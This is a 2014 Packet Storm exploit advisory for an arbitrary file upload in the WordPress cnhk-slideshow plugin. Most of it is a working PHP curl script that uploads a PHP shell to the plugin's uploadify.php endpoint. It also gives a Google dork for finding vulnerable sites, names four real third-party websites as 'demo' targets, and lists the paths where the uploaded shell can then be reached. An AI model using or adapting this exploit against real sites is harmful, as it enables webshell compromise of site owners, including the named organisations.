WordPress cnhk-slideshow Shell Upload

2014-05-18T00:00:00
ID PACKETSTORM:126702
Type packetstorm
Reporter Ashiyane Digital Security Team
Modified 2014-05-18T00:00:00

Description

                                        
                                            `###############################################################  
# Exploit Title: Wordpress cnhk-slideshow plugin Shell Upload  
# Author: Ashiyane Digital Security Team  
# Date: 05/18/2014  
# Vendor Homepage: http://cnhk-systems.webege.com  
# Software Link : http://downloads.wordpress.org/plugin/cnhk-slideshow.2.1.1.zip  
# Google dork: inurl:/wp-content/plugins/cnhk-slideshow/  
# Tested on: Windows/Linux  
###############################################################  
  
1) Exploit :  
= = = = = =  
  
<?php  
$uploadfile="file.php";  
$ch = curl_init("  
http://localhost/wp-content/plugins/cnhk-slideshow/uploadify/uploadify.php");  
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS,  
array('slideshow'=>"@$uploadfile"));  
curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);  
$result = curl_exec($ch);  
curl_close($ch);  
print "$result";  
?>  
  
2) Exploit demo :  
= = = = = = = = =  
http://ceochallengeaustralia.org/wp-content/plugins/cnhk-slideshow/uploadify/uploadify.php  
http://www.nhbcc.org/wp-content/plugins/cnhk-slideshow/uploadify/uploadify.php  
http://casaoccio.org/wp-content/plugins/cnhk-slideshow/uploadify/uploadify.php  
http://armorroofingspringfield.com/wp-content/plugins/cnhk-slideshow/uploadify/uploadify.php  
# #### #### #### #### #### #### #### #### #  
  
http://[Target]/wp-content/uploads/[file].php  
OR  
http://[Target]/wp-content/plugins/cnhk-slideshow/[file].php  
  
# #### #### #### #### #### #### #### #### #  
# BY T3rm!nat0r5  
# E-mail : poya.terminator@gmail.com  
# #### #### #### #### #### #### #### #### #  
`